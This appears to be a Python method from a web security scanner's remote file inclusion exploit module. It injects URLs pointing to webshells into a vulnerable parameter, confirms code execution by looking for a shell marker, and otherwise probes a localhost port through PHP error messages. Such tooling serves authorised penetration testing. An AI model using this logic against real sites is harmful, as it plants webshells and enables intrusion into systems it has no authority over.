'This command verifies a vuln. This is really hard work!
:return : True if vuln can be exploited.'

def _verify_vuln(self, vuln):

    extension = vuln.get_url().get_extension()
    shell_list = shell_handler.get_webshells(extension)
    for (file_content, real_extension) in shell_list:
        if (extension == ''):
            extension = real_extension
        url_to_include = self._gen_url_to_include(file_content, extension)
        mutant = vuln.get_mutant()
        mutant = mutant.copy()
        mutant.set_token_value(url_to_include)
        try:
            http_res = self._uri_opener.send_mutant(mutant)
        except:
            continue
        else:
            if (shell_handler.SHELL_IDENTIFIER in http_res.body):
                self._exploit_mutant = mutant
                return SUCCESS_COMPLETE
            else:
                self._rm_file(url_to_include)
    else:
        mutant = vuln.get_mutant()
        mutant = mutant.copy()
        mutant.set_token_value('http://localhost:92/')
        try:
            http_response = self._uri_opener.send_mutant(mutant)
        except:
            return False
        else:
            rfi_errors = ['php_network_getaddresses:    getaddrinfo', 'failed    to    open    stream:    Connection    refused    in']
            for error in rfi_errors:
                if (error in http_response.get_body()):
                    return SUCCESS_OPEN_PORT
    return NO_SUCCESS
